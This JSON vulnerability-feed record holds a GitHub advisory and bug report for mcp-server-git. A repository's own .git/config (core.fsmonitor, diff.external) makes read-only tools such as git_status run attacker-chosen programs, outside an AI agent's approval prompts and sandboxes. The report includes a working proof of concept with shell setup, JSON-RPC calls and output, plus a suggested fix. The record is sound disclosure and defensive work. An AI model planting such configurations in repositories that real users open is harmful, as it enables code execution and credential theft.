{"id":"GHSA-6hqx-gqrx-c5r2","kind":"vulnerability","aliases":["GHSA-6hqx-gqrx-c5r2"],"related":[],"title":"mcp-server-git: arbitrary command execution via a repository's own Git configuration (core.fsmonitor) during read-only tools","description":"## Patched versions\n\nFixed in `mcp-server-git` **2026.11.11** ([#5514](https://github.com/modelcontextprotocol/servers/pull/5514)). Upgrade to 2026.11.11 or later. The report below was written against 2026.11.4, before the fix; its \"Fixed versions: none\" line predates it.\n\nThe fix covers every sink the report lists, not only `core.fsmonitor`:\n\n- Every Git command the server runs overrides, through `GIT_CONFIG_COUNT` (which outranks every configuration file and is inherited by the Git processes Git itself starts), the settings that would make Git run a program: `core.fsmonitor` is `false`; `core.hooksPath` points at the null device, so no hook runs; `commit.gpgSign` and `merge.verifySignatures` are `false`; `submodule.recurse`, `status.submoduleSummary` and `merge.autoStash` are `false`; and `core.pager` is `cat`.\n- Every filter driver (`filter.<name>.clean`, `smudge`, `process`), merge driver (`merge.<name>.driver`) and `branch.<name>.mergeOptions` that the repository's own configuration defines is emptied. Drivers from the user's global or system configuration, such as Git LFS, keep working.\n- `git_merge` also passes `--no-gpg-sign` and `--no-verify-signatures`, and every diff shown as a patch passes `--no-ext-diff` and `--no-textconv`, so `diff.external`, `diff.<driver>.command` and textconv filters are ignored.\n- `git_status` and the diff tools pass `--ignore-submodules=dirty`, so Git never looks inside a submodule under the submodule's own configuration.\n- A Git older than 2.31, which ignores `GIT_CONFIG_COUNT`, is refused rather than run unprotected.\n\n`git_log` and `git_show` do not run `git log` or `git show`, so `log.showSignature` is never consulted.\n\n## Workarounds\n\nNone for affected versions other than upgrading. Until then, point the server only at repositories whose `.git` directory you trust.\n\n---\n\n## Original report\n\n# mcp-server-git: arbitrary command execution via a repository's own Git configuration (`core.fsmonitor`) during read-only tools\n\n**Asset:** `https://github.com/modelcontextprotocol` (scoped asset of the HackerOne `anthropic` program)\n**Component:** `mcp-server-git` (PyPI), the reference Git MCP server in `modelcontextprotocol/servers` (`src/git`)\n**Package version tested:** `mcp-server-git==2026.11.4` (PyPI wheel sha256 `0cdaa8f446554d020f8ffa0e44ef45b89df4ed4deaeb961b4305d8a2852b4e0e`, published 2026-11-04T21:34:52Z)\n**Default-branch revision tested:** `36380287ed3b15d115b55f546617d723072b1296` (2026-11-04, `src/git` version `2026.11.4`); the installed wheel's `mcp_server_git/server.py` is byte-identical to `src/git/src/mcp_server_git/server.py` at that revision (sha256 `2304871e38ddd95ed807f628cc68b0e0cdd8ec2e82401110211ea8ea647715a5`)\n**CWE:** CWE-94 — Improper Control of Generation of Code (\"Code Injection\"); supporting: CWE-829 — Inclusion of Functionality from Untrusted Control Sphere\n**CVSS 4.0:** 7.0 (HIGH) — `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`\n**Affected versions:** `mcp-server-git` up to and including `2026.11.4` (verified on `2026.11.4` and `2026.10.28`; earlier versions run the same Git commands and are presumed affected)\n**Fixed versions:** none as of 2026-11-07\n**Also reproduced on:** `mcp-server-git==2026.10.28` (previous release; `evidence/11-older-version.txt`), with and without `--repository` confinement (`evidence/12-unconfined-mode.txt`)\n\n---\n\n## Summary\n\n`mcp-server-git` runs Git commands inside repositories chosen by the client without neutralising the repository's own configuration. Git honours command-bearing configuration keys from `.git/config`; `core.fsmonitor` names a program that Git executes whenever it refreshes the index. A call to the read-only `git_status` tool on an untrusted repository therefore executes an attacker-chosen program with the MCP server's privileges — its environment (including credentials from the client's `env` block), its filesystem access and its user — without any approval prompt and outside any sandbox that governs the model's own tool calls.\n\nA second command-bearing key, `diff.external`, gives the same result through the read-only `git_diff_unstaged` and `git_diff_staged` tools. The command need not ship as a separate file: it can be inlined in the configuration line itself (`core.fsmonitor = sh -c '…'`), so a single edited `.git/config` is enough. The repository's configuration is never overridden: the server's only `-c` override is `core.quotepath=false` (`src/git/src/mcp_server_git/server.py:104`).\n\nThis is the vulnerability class publicly tracked as **GitSpawn** (CSA research note, 2026-09-03) and assigned CVEs for other agent tooling that shells out to Git: CVE-2026-45033 (GitHub Copilot CLI, `core.fsmonitor`, 8.5), CVE-2026-72718 (Goose, CWE-94, 7.0) and CVE-2026-71963 (Hermes Agent, 8.6). The `mcp-server-git` reference server has not applied the mitigation those vendors shipped, and no advisory or issue in the repository covers it.\n\n## Attack delivery\n\nThe malicious configuration lives in `.git/config`, so the repository must reach the user with its `.git` directory intact. That is the normal case for the delivery channels this class was reported against (Copilot CLI, Goose, Hermes Agent): a project archive or CI artifact, a backup, a shared network folder, a vendored dependency tree checked into or unpacked beside the user's project, or an agent workspace whose files were copied rather than cloned. A plain `git clone` of a repository does not copy server-side `.git/config`, and GitHub's source ZIP excludes `.git`; those two channels alone do not carry the payload. Everything else that preserves the folder structure does, and the user does not have to run anything inside the repository — one `git_status` call from the MCP server is enough.\n\n## Root cause\n\n`open_repo()` (`server.py:981-990`) builds `git.Repo(path)`, and GitPython executes `git` in that repository. The only configuration override anywhere in the server is `core.quotepath=false`:\n\n```python\n# server.py:104\noutput = getattr(repo.git(c=\"core.quotepath=false\"), command)(\n    *args, stdout_as_string=False\n)\n```\n\nGit reads all other configuration from the repository's `.git/config`. Keys that name a program Git then runs include:\n\n| key | runs when | server tool that triggers it |\n|---|---|---|\n| `core.fsmonitor` | any index refresh | `git_status`, `git_diff_unstaged`, `git_add`, `git_merge` |\n| `diff.external` / `diff.<driver>.command` | diff output | `git_diff_unstaged`, `git_diff_staged`, `git_diff` |\n| `core.hooksPath` + hooks | merge | `git_merge` |\n| `log.showSignature` + `gpg.program` | log | `git_log` |\n| `filter.<driver>.clean` | staging | `git_add` |\n| `commit.gpgSign` + `gpg.program` | merge commit | `git_merge` |\n\nThe demonstrated sink is `core.fsmonitor`, because it fires on the most innocuous, typically auto-approved tool (`git_status`) and the payload need not print anything, so the tool result looks completely normal.\n\n## Steps to reproduce\n\nFull runnable PoC: `poc/` in this packet. The repository is self-contained: the payload script ships inside the repository and is named by its own `.git/config`, so it travels intact through any channel that preserves a `.git` directory (an archive, a shared folder, a vendored dependency tree, a CI workspace).\n\n1. Install the exact published package (Python 3.10+; 3.12/3.15 used here):\n\n   ```bash\n   python3 -m venv .venv\n   ./.venv/bin/pip install \"mcp-server-git==2026.11.4\"\n   ```\n\n2. Create a project workspace that is itself a Git repository, and a nested \"untrusted\" repository inside it:\n\n   ```bash\n   mkdir -p /tmp/poc/workspace/vendor/untrusted-repo\n   git -C /tmp/poc/workspace init -q\n   git -C /tmp/poc/workspace/vendor/untrusted-repo init -q\n   cd /tmp/poc/workspace/vendor/untrusted-repo\n   echo hello > README.md\n   git add README.md && git -c user.email=a@b -c user.name=a commit -qm init\n   printf '#!/bin/sh\\nid > /tmp/poc/payload-ran.txt\\n' > payload.sh\n   chmod +x payload.sh\n   git config core.fsmonitor ./payload.sh\n   ```\n\n3. Start the server confined to the workspace and call the read-only `git_status` tool on the nested repository. The PoC does this over stdio:\n\n   ```bash\n   ./poc/run.sh            # fsmonitor scenario, tool git_status\n   ```\n\n   The JSON-RPC exchanged is:\n\n   ```json\n   {\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2025-11-25\",\"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1.0\"}}}\n   {\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\"}\n   {\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"git_status\",\"arguments\":{\"repo_path\":\"/tmp/poc/workspace/vendor/untrusted-repo\"}}}\n   ```\n\n4. Observe that the payload ran. On this host:\n\n   ```\n   [*] version       : mcp-server-git 2026.11.4\n   [*] git_status result: Repository status:\\nOn branch main\\nUntracked files:\\n ... payload.sh ...\n   [*] marker .../payload-executed.txt: EXISTS\n   PASS: repository-supplied command executed with the MCP server's environment\n         and read a file outside the repository\n   uid=501 pid=12741 canary=canary-b33fd412a6ff4100b37fb5652a9e5472 outside=outside-the-repository-content-2928\n   ```\n\n   The marker records the payload's uid and pid, the value of an environment variable that exists only in the server process (`MCP_GIT_POC_CANARY`), and the contents of a file outside the repository — arbitrary code execution in the server's context, not a data-only bug.\n\n5. Optional second sink and negative control:\n\n   ```bash\n   ./poc/run.sh --scenario diff-external   # diff.external + git_diff_unstaged, same result\n   ./poc/run.sh --scenario control         # same repository, no key: nothing runs (PASS)\n   ```\n\nRaw transcripts of all three runs are in `evidence/03-poc-fsmonitor.txt`, `evidence/04-poc-diff-external.txt` and `evidence/05-control.txt`.\n\n## Observed vs expected\n\n**Observed.** A read-only `git_status` (or `git_diff_unstaged`) call performs its normal work and returns a normal result, while a program named by the inspected repository's `.git/config` executes with the MCP server's privileges. `git trace2` shows the exact command the server issues:\n\n```\nargv: [\"git\", \"-c\", \"core.quotepath=false\", \"status\"]\n```\n\nNo `core.fsmonitor` override is present, so Git uses the repository's value (`evidence/07-trace2-argv.txt`).\n\n**Expected.** Inspecting a repository with a read-only tool must not execute code supplied by that repository. The server should run Git with command-bearing configuration keys neutralised (for example `-c core.fsmonitor=false`, `-c diff.external=`, an empty hooks path), so the call in step 3 produces no process outside Git's own.\n\n## Impact\n\n- **Arbitrary code execution** as the user running the MCP server. A developer running `uvx mcp-server-git` executes the payload as themselves; a CI/agent runner executes it as the runner account.\n- **Credential and data theft.** The payload inherits the server's environment — including any secrets passed through the MCP client's `env` block — and can read the user's home directory, SSH keys, cloud credentials and every repository on the disk.\n- **No approval and no sandbox.** The execution happens inside `git`, not through the model's own command-execution tool, so client-side confirmation dialogs and tool sandboxes never engage. From the client's perspective it merely asked Git for status.\n- **No visible signal.** The payload's output can be empty, and the tool result is the ordinary status text, so neither the user nor the model sees anything unusual.\n- **Trigger surface.** `git_status` is the most frequently called tool in the server (models call it to orient themselves), and the `git_commit_message` / `git_summarize_changes` prompts call `git_diff_staged` / `git_status` as well. `diff.external` was verified to fire on `git diff --cached` too, so the commit-message prompt is a second trigger.\n\n## Suggested fix\n\nNeutralise the repository's configuration for every Git invocation, with the highest-precedence mechanism (`GIT_CONFIG_COUNT` / `GIT_CONFIG_KEY_n` / `GIT_CONFIG_VALUE_n` overrides every config file, exactly as GitHub's Copilot CLI fix for CVE-2026-45033 does). In `open_repo()`, immediately after `git.Repo(path)` and before `validate_opened_repo()` runs any Git command:\n\n```python\nimport tempfile\n\nempty_hooks_dir = tempfile.mkdtemp(prefix=\"mcp-git-no-hooks-\")  # never populated\nrepo = git.Repo(path)\nrepo.git.update_environment(\n    GIT_CONFIG_COUNT=\"8\",\n    GIT_CONFIG_KEY_0=\"core.fsmonitor\",        GIT_CONFIG_VALUE_0=\"false\",\n    GIT_CONFIG_KEY_1=\"core.hooksPath\",        GIT_CONFIG_VALUE_1=str(empty_hooks_dir),\n    GIT_CONFIG_KEY_2=\"diff.external\",         GIT_CONFIG_VALUE_2=\"\",\n    GIT_CONFIG_KEY_3=\"log.showSignature\",     GIT_CONFIG_VALUE_3=\"false\",\n    GIT_CONFIG_KEY_4=\"commit.gpgSign\",        GIT_CONFIG_VALUE_4=\"false\",\n    GIT_CONFIG_KEY_5=\"merge.verifySignatures\", GIT_CONFIG_VALUE_5=\"false\",\n    GIT_CONFIG_KEY_6=\"safe.bareRepository\",   GIT_CONFIG_VALUE_6=\"explicit\",\n    GIT_CONFIG_KEY_7=\"core.pager\",            GIT_CONFIG_VALUE_7=\"cat\",\n)\n```\n\nand pass `--no-ext-diff --no-textconv` to the diff-producing commands (`git_diff`, `git_diff_unstaged`, `git_diff_staged`, and the diffs in `git_show`). For `git_add`, also override every `filter.*.clean` / `filter.*.smudge` key the repository defines (enumerate with `git config --get-regexp '^filter\\.'`), or reject repositories that define filters. Add regression tests under `src/git/tests/` that point `core.fsmonitor` and `diff.external` at a marker script and assert the marker is never created.\n\nThe minimal fix for the demonstrated sink is one key — `core.fsmonitor=false` — which this packet verified stops the payload (`evidence/10-mitigation-check.txt`). The broader set above is recommended because a fix scoped to one key leaves the other sinks live, the same scoping mistake Manifold's research found in other agents.\n\n## References\n\n- GitSpawn: How a Git Config File Hijacks AI Coding Agents — Cloud Security Alliance, 2026-09-03, https://labs.cloudsecurityalliance.org/research/csa-research-note-gitspawn-ai-coding-agent-rce-20260903-csa/\n- CVE-2026-45033 / GHSA-9ccr-r5hg-74gf — GitHub Copilot CLI, `core.fsmonitor`, CVSS 4.0 8.5\n- CVE-2026-72718 — Goose, `core.fsmonitor`, CWE-94, CVSS 4.0 7.0\n- CVE-2026-71963 — Hermes Agent, `core.fsmonitor`, CVSS 4.0 8.6\n- `git-config(1)`, `core.fsmonitor` and `diff.external`; `git-fsmonitor--daemon(1)`\n- Upstream source: `src/git/src/mcp_server_git/server.py` at `36380287` (`_git_text` line 104, `git_status` line 110, `open_repo` lines 981-990)\n\n## Notes on scope\n\n- Non-DoS: this is arbitrary code execution, not a hang or allocation.\n- The other reference-server classes in scope were probed and held: see `submission-checklist.md` §\"Other classes checked\" and `evidence/08-filesystem-path-probes.txt`, `evidence/09-fetch-ssrf-probes.txt`.\n- No existing advisory or issue covers this: `evidence/06-existing-advisories.txt`.","summary":"A Git repository's own .git/config can name a program (core.fsmonitor or diff.external) that Git runs when the server inspects that repository, so a read-only git_status call executes attacker-chosen code. The attacker gets code execution as the user running the MCP server, with its environment and credentials.","severity":"high","cvss":7.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"mcp-server-git","fixed":["2026.11.11"],"affected":"< 2026.11.11","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["claude-code","cursor","cwe-829","cwe-94","git","mcp","package","python"],"not_affected_if":["fresh-clones-only","upgraded"],"how_to_check":"- Run `pip show mcp-server-git` and confirm the version is below `2026.11.11`.\n- Check whether the server is pointed at repositories whose `.git` directory came from an untrusted source, such as an archive, shared folder or vendored dependency.\n- Inspect `.git/config` in those repositories for `fsmonitor`, `diff.external` or `hooksPath` entries.","fix":"- `mcp-server-git` upgraded to `2026.11.11`.","status":"open","published_at":"2026-11-11T07:25:22+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","triaged_at":"2026-11-11T07:29:57+00:00","updated_at":"2026-11-11T07:29:58+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-11-11T07:29:57Z","model":"claude-haiku-5-5","output":{"fix":"- `mcp-server-git` upgraded to `2026.11.11`.","reach":"local","title":"mcp-server-git: a repository's Git config can run commands on read-only calls","impact":"high","summary":"A Git repository's own .git/config can name a program (core.fsmonitor or diff.external) that Git runs when the server inspects that repository, so a read-only git_status call executes attacker-chosen code. The attacker gets code execution as the user running the MCP server, with its environment and credentials.","audience":"developers","category":"package","nicknames":["GitSpawn"],"who_cares":["mcp","python","git","claude-code","cursor"],"confidence":0.85,"fix_status":"available","needs_auth":"no","worst_case":"Attacker code runs as the MCP server user, reading secrets and files.","analyst_note":"","how_to_check":"- Run `pip show mcp-server-git` and confirm the version is below `2026.11.11`.\n- Check whether the server is pointed at repositories whose `.git` directory came from an untrusted source, such as an archive, shared folder or vendored dependency.\n- Inspect `.git/config` in those repositories for `fsmonitor`, `diff.external` or `hooksPath` entries.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["fresh-clones-only","upgraded"],"who_is_affected":"Teams running mcp-server-git, the reference Git MCP server, against repositories they did not create, such as vendored trees, shared archives or copied workspaces. A plain git clone does not carry the malicious config, so teams that only use freshly cloned repositories are less exposed. Until upgrading, the advisory says to limit the server to repositories whose .git directory you trust.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"high"},"cost_usd":0.001239,"input_tokens":9256,"output_tokens":626,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-04':425C,437C '-07':533C '-11':424C,436C,532C '-829':40B,473C '-94':42B,462C '/av':487C '/modelcontextprotocol':388C '/modelcontextprotocol/servers/pull/5514)).':111C '0cdaa8f446554d020f8ffa0e44ef45b89df4ed4deaeb961b4305d8a2852b4e0e':421C '2.31':312C '2026':423C,435C,531C '2026.10.28':514C,541C '2026.11.11':107C,114C '2026.11.4':123C,417C,440C,509C,512C '2304871e38':458C '34':427C '36380287ed3b15d115b55f546617d723072b1296':434C '4.0':482C,486C '52z':428C '5514':108C '6hqx':23A,28A '7.0':483C 'a/vc':492C 'access':632C 'affect':345C,499C,525C 'also':248C,534C 'anthrop':394C 'approv':638C 'arbitrari':5A,369C 'asset':385C,390C 'attack':79B,83B,611C 'attacker-chosen':78B,610C 'bear':576C 'block':629C 'branch':220C,431C 'byte':450C 'byte-ident':449C 'c5r2':25A,30A 'call':76B,594C 'cat':207C 'chosen':80B,561C,612C 'claud':36B 'claude-cod':35B 'clean':212C 'client':564C,626C 'code':37B,81B,85B,468C,469C 'command':6A,147C,278C,370C,521C,558C,575C 'command-bear':574C 'commit.gpgsign':193C 'compon':396C 'config':154C,316C 'configur':14A,159C,227C,239C,307C,378C,571C,577C 'confin':549C 'consult':341C 'control':464C,479C 'core.fsmonitor':15A,57B,144C,180C,379C,581C 'core.hookspath':183C 'core.pager':205C 'count':155C,317C 'cover':136C 'credenti':98B,623C 'cursor':38B 'cvss':481C,485C 'cwe':39B,41B,460C,461C,472C 'ddd95ed807f628cc68b0e0cdd8ec2e82401110211ea8ea647715a5':459C 'default':430C 'default-branch':429C 'defin':228C 'devic':188C 'diff':261C,270C,277C,288C 'diff.external':59B,276C 'directori':360C 'dirti':294C 'driver':210C,216C,218C,231C 'earlier':515C 'empti':230C 'env':628C 'environ':96B,621C 'everi':137C,145C,158C,208C,260C 'evidence/11-older-version.txt':544C 'evidence/12-unconfined-mode.txt':550C 'execut':7A,77B,86B,371C,587C,608C 'ext':269C 'fals':182C,197C,203C 'file':160C 'filesystem':631C 'filter':209C,211C,281C 'fix':101C,126C,128C,135C,526C 'function':476C 'generat':466C 'get':84B 'ghsa':22A,27A 'ghsa-6hqx-gqrx-c5r2':21A,26A 'git':4A,13A,34A,43B,48B,61B,74B,106C,146C,153C,166C,168C,176C,242C,246C,284C,296C,309C,315C,324C,327C,332C,335C,359C,368C,377C,400C,404C,416C,504C,520C,540C,555C,557C,572C,586C,600C 'git/config':52B,580C 'git/server.py':447C 'github.com':110C,387C 'github.com/modelcontextprotocol':386C 'github.com/modelcontextprotocol/servers/pull/5514)).':109C 'global':236C 'govern':645C 'gpg':252C 'gqrx':24A,29A 'h/sc':495C 'h/va':494C 'h/vi':493C 'hackeron':393C 'high':484C 'honour':573C 'hook':191C 'ident':451C 'ignor':283C,292C,314C 'ignore-submodul':291C 'improp':463C 'includ':508C,622C 'inclus':474C 'index':592C 'inherit':163C 'inject':470C 'insid':299C,559C 'inspect':66B 'instal':442C 'keep':244C 'key':578C 'l/ac':488C 'l/at':489C 'l/ui':491C 'later':116C 'lfs':243C 'line':131C 'list':141C 'log':325C,333C 'log.showsignature':338C 'look':298C 'make':175C 'mcp':2A,32A,44B,92B,104C,366C,398C,405C,414C,445C,502C,538C,553C,616C 'mcp-server-git':1A,31A,103C,365C,397C,413C,501C,537C,552C 'merg':215C,217C,247C 'merge.autostash':201C 'merge.verifysignatures':195C 'mergeopt':221C 'modelcontextprotocol/servers':408C 'n':498C 'n/pr':490C 'n/sa':497C 'n/si':496C 'name':54B,582C 'neutralis':566C 'never':297C,340C 'no-ext-diff':267C 'no-gpg-sign':250C 'no-textconv':272C 'no-verify-signatur':255C 'none':130C,343C,528C 'null':187C 'older':310C 'origin':363C 'outrank':157C 'outsid':641C 'overrid':151C 'packag':45B,410C 'pass':249C,266C,290C 'patch':99C,265C 'point':184C,352C 'predat':132C 'presum':524C 'previous':542C 'privileg':619C 'process':167C,214C 'program':56B,179C,395C,584C,613C 'prompt':639C 'publish':422C 'pypi':401C,418C 'python':46B 'rather':320C 'read':18A,72B,382C,598C 'read-on':17A,71B,381C,597C 'refer':403C 'refresh':590C 'refus':319C 'releas':543C 'report':118C,140C,364C 'repositori':10A,49B,68B,224C,357C,374C,548C,560C,568C,606C 'reproduc':535C 'revis':432C,456C 'run':62B,90B,150C,177C,192C,322C,331C,517C,556C 'sandbox':643C 'scope':389C 'server':3A,33A,65B,93B,105C,149C,354C,367C,399C,406C,415C,446C,503C,539C,554C,617C 'set':172C 'sha256':420C,457C 'show':328C,336C 'shown':262C 'sign':253C 'signatur':258C 'sink':138C 'smudg':213C 'sphere':480C 'src/git':409C,438C 'src/git/src/mcp_server_git/server.py':453C 'start':170C 'status':75B,285C,601C 'status.submodulesummary':199C 'submodul':293C,301C,304C 'submodule.recurse':198C 'summari':551C 'support':471C 'system':238C 't21':426C 'test':412C,433C 'textconv':274C,280C 'therefor':607C 'tool':20A,289C,384C,602C 'trust':362C 'unprotect':323C 'untrust':478C,605C 'upgrad':112C,349C 'user':89B,234C,635C 'verifi':257C,510C 'version':100C,129C,346C,411C,439C,500C,516C,527C 'via':8A,372C 'wheel':419C,443C 'whenev':588C 'whose':358C 'without':547C,565C,636C 'work':245C 'workaround':342C 'would':174C 'written':121C","nicknames":["GitSpawn"],"mitigations":[],"who_affected":"Teams running mcp-server-git, the reference Git MCP server, against repositories they did not create, such as vendored trees, shared archives or copied workspaces. A plain git clone does not carry the malicious config, so teams that only use freshly cloned repositories are less exposed. Until upgrading, the advisory says to limit the server to repositories whose .git directory you trust.","tier":"A","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["gitspawn","mcpservergit"],"ptokens":["git","mcp","server"],"labels":["claudecode","cursor","cwe829","cwe94","git","high","mcp","package","pypi","python"],"campaign_type":null,"search_a":"'6hqx':23A,28A 'arbitrari':5A 'c5r2':25A,30A 'command':6A 'configur':14A 'core.fsmonitor':15A 'execut':7A 'ghsa':22A,27A 'ghsa-6hqx-gqrx-c5r2':21A,26A 'git':4A,13A,34A 'gqrx':24A,29A 'mcp':2A,32A 'mcp-server-git':1A,31A 'read':18A 'read-on':17A 'repositori':10A 'server':3A,33A 'tool':20A 'via':8A","search_b":"'-829':40B '-94':42B 'attack':79B,83B 'attacker-chosen':78B 'call':76B 'chosen':80B 'claud':36B 'claude-cod':35B 'code':37B,81B,85B 'core.fsmonitor':57B 'credenti':98B 'cursor':38B 'cwe':39B,41B 'diff.external':59B 'environ':96B 'execut':77B,86B 'get':84B 'git':43B,48B,61B,74B 'git/config':52B 'inspect':66B 'mcp':44B,92B 'name':54B 'packag':45B 'program':56B 'python':46B 'read':72B 'read-on':71B 'repositori':49B,68B 'run':62B,90B 'server':65B,93B 'status':75B 'user':89B","search_c":"'-04':425C,437C '-07':533C '-11':424C,436C,532C '-829':473C '-94':462C '/av':487C '/modelcontextprotocol':388C '/modelcontextprotocol/servers/pull/5514)).':111C '0cdaa8f446554d020f8ffa0e44ef45b89df4ed4deaeb961b4305d8a2852b4e0e':421C '2.31':312C '2026':423C,435C,531C '2026.10.28':514C,541C '2026.11.11':107C,114C '2026.11.4':123C,417C,440C,509C,512C '2304871e38':458C '34':427C '36380287ed3b15d115b55f546617d723072b1296':434C '4.0':482C,486C '52z':428C '5514':108C '7.0':483C 'a/vc':492C 'access':632C 'affect':345C,499C,525C 'also':248C,534C 'anthrop':394C 'approv':638C 'arbitrari':369C 'asset':385C,390C 'attack':611C 'attacker-chosen':610C 'bear':576C 'block':629C 'branch':220C,431C 'byte':450C 'byte-ident':449C 'call':594C 'cat':207C 'chosen':561C,612C 'clean':212C 'client':564C,626C 'code':468C,469C 'command':147C,278C,370C,521C,558C,575C 'command-bear':574C 'commit.gpgsign':193C 'compon':396C 'config':154C,316C 'configur':159C,227C,239C,307C,378C,571C,577C 'confin':549C 'consult':341C 'control':464C,479C 'core.fsmonitor':144C,180C,379C,581C 'core.hookspath':183C 'core.pager':205C 'count':155C,317C 'cover':136C 'credenti':623C 'cvss':481C,485C 'cwe':460C,461C,472C 'ddd95ed807f628cc68b0e0cdd8ec2e82401110211ea8ea647715a5':459C 'default':430C 'default-branch':429C 'defin':228C 'devic':188C 'diff':261C,270C,277C,288C 'diff.external':276C 'directori':360C 'dirti':294C 'driver':210C,216C,218C,231C 'earlier':515C 'empti':230C 'env':628C 'environ':621C 'everi':137C,145C,158C,208C,260C 'evidence/11-older-version.txt':544C 'evidence/12-unconfined-mode.txt':550C 'execut':371C,587C,608C 'ext':269C 'fals':182C,197C,203C 'file':160C 'filesystem':631C 'filter':209C,211C,281C 'fix':101C,126C,128C,135C,526C 'function':476C 'generat':466C 'git':106C,146C,153C,166C,168C,176C,242C,246C,284C,296C,309C,315C,324C,327C,332C,335C,359C,368C,377C,400C,404C,416C,504C,520C,540C,555C,557C,572C,586C,600C 'git/config':580C 'git/server.py':447C 'github.com':110C,387C 'github.com/modelcontextprotocol':386C 'github.com/modelcontextprotocol/servers/pull/5514)).':109C 'global':236C 'govern':645C 'gpg':252C 'h/sc':495C 'h/va':494C 'h/vi':493C 'hackeron':393C 'high':484C 'honour':573C 'hook':191C 'ident':451C 'ignor':283C,292C,314C 'ignore-submodul':291C 'improp':463C 'includ':508C,622C 'inclus':474C 'index':592C 'inherit':163C 'inject':470C 'insid':299C,559C 'instal':442C 'keep':244C 'key':578C 'l/ac':488C 'l/at':489C 'l/ui':491C 'later':116C 'lfs':243C 'line':131C 'list':141C 'log':325C,333C 'log.showsignature':338C 'look':298C 'make':175C 'mcp':104C,366C,398C,405C,414C,445C,502C,538C,553C,616C 'mcp-server-git':103C,365C,397C,413C,501C,537C,552C 'merg':215C,217C,247C 'merge.autostash':201C 'merge.verifysignatures':195C 'mergeopt':221C 'modelcontextprotocol/servers':408C 'n':498C 'n/pr':490C 'n/sa':497C 'n/si':496C 'name':582C 'neutralis':566C 'never':297C,340C 'no-ext-diff':267C 'no-gpg-sign':250C 'no-textconv':272C 'no-verify-signatur':255C 'none':130C,343C,528C 'null':187C 'older':310C 'origin':363C 'outrank':157C 'outsid':641C 'overrid':151C 'packag':410C 'pass':249C,266C,290C 'patch':99C,265C 'point':184C,352C 'predat':132C 'presum':524C 'previous':542C 'privileg':619C 'process':167C,214C 'program':179C,395C,584C,613C 'prompt':639C 'publish':422C 'pypi':401C,418C 'rather':320C 'read':382C,598C 'read-on':381C,597C 'refer':403C 'refresh':590C 'refus':319C 'releas':543C 'report':118C,140C,364C 'repositori':224C,357C,374C,548C,560C,568C,606C 'reproduc':535C 'revis':432C,456C 'run':150C,177C,192C,322C,331C,517C,556C 'sandbox':643C 'scope':389C 'server':105C,149C,354C,367C,399C,406C,415C,446C,503C,539C,554C,617C 'set':172C 'sha256':420C,457C 'show':328C,336C 'shown':262C 'sign':253C 'signatur':258C 'sink':138C 'smudg':213C 'sphere':480C 'src/git':409C,438C 'src/git/src/mcp_server_git/server.py':453C 'start':170C 'status':285C,601C 'status.submodulesummary':199C 'submodul':293C,301C,304C 'submodule.recurse':198C 'summari':551C 'support':471C 'system':238C 't21':426C 'test':412C,433C 'textconv':274C,280C 'therefor':607C 'tool':289C,384C,602C 'trust':362C 'unprotect':323C 'untrust':478C,605C 'upgrad':112C,349C 'user':234C,635C 'verifi':257C,510C 'version':100C,129C,346C,411C,439C,500C,516C,527C 'via':372C 'wheel':419C,443C 'whenev':588C 'whose':358C 'without':547C,565C,636C 'work':245C 'workaround':342C 'would':174C 'written':121C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-11T07:25:22+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-6hqx-gqrx-c5r2","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-6hqx-gqrx-c5r2","severity":"high","published_at":"2026-11-11T07:25:22+00:00","modified_at":"2026-11-11T07:25:23+00:00","first_seen_at":"2026-11-11T07:28:35+00:00","fetched_at":"2026-11-11T07:28:35+00:00","note":null}],"documents":[{"id":123649,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-6hqx-gqrx-c5r2","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}